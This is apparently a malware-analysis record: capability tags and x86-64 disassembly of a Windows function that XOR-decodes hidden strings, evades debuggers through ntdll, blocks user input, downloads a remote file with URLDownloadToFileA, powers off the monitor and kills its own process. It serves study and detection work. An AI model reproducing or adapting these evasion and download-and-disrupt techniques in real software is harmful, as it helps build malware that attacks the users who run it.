Function at 0x140038e00
Capabilities:
Contain obfuscated stackstrings
Download url
Encode data using xor
Power down monitor
Receive data
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov rax, qword [0x14009e180]
xor rax, rsp
mov qword [rbp + 0x30], rax
movdqa xmm1, xmmword [0x14008d9e0]
movdqu xmmword [rsp + 0x48], xmm1
mov dl, 0x6c
mov r8b, 0x56
mov r9b, 0x6a
mov r10b, 0x70
mov r11b, 0x67
mov bl, 0x63
mov dil, 0x66
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x49], al
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
xor byte [rsp + 0x4f], cl
xor byte [rsp + 0x50], cl
xor byte [rsp + 0x51], cl
xor byte [rsp + 0x52], cl
xor byte [rsp + 0x53], cl
xor byte [rsp + 0x54], cl
xor byte [rsp + 0x55], cl
xor byte [rsp + 0x56], cl
xor byte [rsp + 0x57], cl
xor dl, cl
mov byte [rsp + 0x58], dl
xor r8b, cl
mov byte [rsp + 0x59], r8b
xor r9b, cl
mov byte [rsp + 0x5a], r9b
xor r10b, cl
mov byte [rsp + 0x5b], r10b
xor r11b, cl
mov byte [rsp + 0x5c], r11b
xor bl, cl
mov byte [rsp + 0x5d], bl
xor dil, cl
mov byte [rsp + 0x5e], dil
mov byte [rsp + 0x5f], 0
mov byte [rsp + 0x30], 0x33
mov al, 0x5d
mov cl, 0x47
mov dl, 0x57
mov r8b, 0x5f
movzx r9d, r8b
mov r10b, 0x1d
movzx r11d, dl
movzx ebx, r8b
movzx edi, r8b
xor esi, esi
xor al, 0x33
mov byte [rsp + 0x31], al
xor cl, 0x33
mov byte [rsp + 0x32], cl
xor dl, 0x33
mov byte [rsp + 0x33], dl
xor r8b, 0x33
mov byte [rsp + 0x34], r8b
xor r9b, 0x33
mov byte [rsp + 0x35], r9b
xor r10b, 0x33
mov byte [rsp + 0x36], r10b
xor r11b, 0x33
mov byte [rsp + 0x37], r11b
xor bl, 0x33
mov byte [rsp + 0x38], bl
xor dil, 0x33
mov byte [rsp + 0x39], dil
mov byte [rsp + 0x3a], sil
lea rcx, [rsp + 0x31]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rsp + 0x49]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x140038f8b
cmp qword [sym.imp.KERNEL32.dll_GetCurrentThread], rsi
jne 0x140038f78
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
jmp 0x140038f7f
mov rcx, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x11]
call rbx
call fcn.140031f10
test al, al
je 0x14003927e
mov ecx, 0x18
call fcn.14007cdb4
mov qword [rsp + 0x30], rax
xor ecx, ecx
xorps xmm1, xmm1
movups xmmword [rax], xmm1
mov qword [rax + 0x10], rcx
mov rcx, rax
call fcn.140032500
mov rbx, rax
mov byte [rsp + 0x30], 0x1c
mov cl, 0x58
mov dl, 0x79
mov r8b, 0x7e
mov r9b, 0x69
mov r10b, 0x7b
xor eax, eax
xor cl, 0x1c
mov byte [rsp + 0x31], cl
xor dl, 0x1c
mov byte [rsp + 0x32], dl
xor r8b, 0x1c
mov byte [rsp + 0x33], r8b
xor r9b, 0x1c
mov byte [rsp + 0x34], r9b
xor r10b, 0x1c
mov byte [rsp + 0x35], r10b
mov byte [rsp + 0x36], al
lea rdx, [rsp + 0x31]
lea rcx, [rsp + 0x48]
call fcn.140027c60
mov r8, rax
lea rdx, [rbp - 0x30]
mov rcx, rbx
call fcn.14002d2f0
mov rcx, rax
call fcn.14002b8a0
lea rcx, [rbp - 0x30]
call fcn.140065820
call fcn.140028320
call fcn.140028380
mov ecx, 1
call qword [sym.imp.USER32.dll_BlockInput]
xor ecx, ecx
call qword [sym.imp.USER32.dll_ShowCursor]
movdqa xmm0, xmmword [0x14008da40]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x14008d8d0]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmmword [0x14008d1e0]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x14008d200]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [0x14008d1b0]
movdqa xmmword [rbp - 0x50], xmm0
mov dword [rbp - 0x40], 0x2f2f2f2f
mov dword [rbp - 0x3c], 0x2f2f2f2f
mov dword [rbp - 0x38], 0x7463752c
xor eax, eax
mov byte [rbp - 0x34], al
nop word [rax + rax]
movzx ecx, byte [rsp + 0x70]
xor byte [rsp + rax + 0x71], cl
movzx ecx, byte [rsp + 0x70]
xor byte [rsp + rax + 0x72], cl
movzx ecx, byte [rsp + 0x70]
xor byte [rsp + rax + 0x73], cl
movzx ecx, byte [rsp + 0x70]
xor byte [rsp + rax + 0x74], cl
movzx ecx, byte [rsp + 0x70]
xor byte [rsp + rax + 0x75], cl
movzx ecx, byte [rsp + 0x70]
xor byte [rsp + rax + 0x76], cl
movzx ecx, byte [rsp + 0x70]
xor byte [rsp + rax + 0x77], cl
movzx ecx, byte [rsp + 0x70]
xor byte [rsp + rax + 0x78], cl
movzx ecx, byte [rsp + 0x70]
xor byte [rsp + rax + 0x79], cl
movzx ecx, byte [rsp + 0x70]
xor byte [rsp + rax + 0x7a], cl
movzx ecx, byte [rsp + 0x70]
xor byte [rsp + rax + 0x7b], cl
movzx ecx, byte [rsp + 0x70]
xor byte [rsp + rax + 0x7c], cl
movzx ecx, byte [rsp + 0x70]
xor byte [rsp + rax + 0x7d], cl
add rax, 0xd
cmp rax, 0x5b
jb 0x1400390b0
mov byte [rbp - 0x34], 0
lea rdx, [rsp + 0x71]
lea rcx, [rbp + 0x10]
call fcn.140027c60
nop
movdqa xmm1, xmmword [str.d8IIIIIIIIJ]
movdqu xmmword [rsp + 0x30], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], cl
xor byte [rsp + 0x33], cl
xor byte [rsp + 0x34], cl
xor byte [rsp + 0x35], cl
xor byte [rsp + 0x36], cl
xor byte [rsp + 0x37], cl
xor byte [rsp + 0x38], cl
xor byte [rsp + 0x39], cl
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
mov byte [rsp + 0x40], 0
lea rdx, [rsp + 0x31]
lea rcx, [rbp - 0x10]
call fcn.140027c60
lea rcx, [rbp - 0x10]
call fcn.14002b8a0
mov rbx, rax
lea rcx, [rbp + 0x10]
call fcn.14002b8a0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movdqa xmm1, xmmword [0x14008d100]
movdqu xmmword [rsp + 0x30], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], cl
xor byte [rsp + 0x33], cl
xor byte [rsp + 0x34], cl
xor byte [rsp + 0x35], cl
xor byte [rsp + 0x36], cl
xor byte [rsp + 0x37], cl
xor byte [rsp + 0x38], cl
xor byte [rsp + 0x39], cl
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
mov byte [rsp + 0x40], 0
xor edx, edx
mov r8d, 0x20000
lea rcx, [rsp + 0x31]
call qword [sym.imp.WINMM.dll_PlaySoundA]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetCursorPos]
mov edx, 0x112
mov ecx, 0xffff
mov r9d, 2
mov r8d, 0xf170
call qword [sym.imp.USER32.dll_SendMessageA]
jmp 0x140039256
call fcn.140031470
test al, al
je 0x1400392a4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 1
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.140032830
test al, al
je 0x1400392ca
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 1
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, qword [rbp + 0x30]
xor rcx, rsp
call fcn.14007c640
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret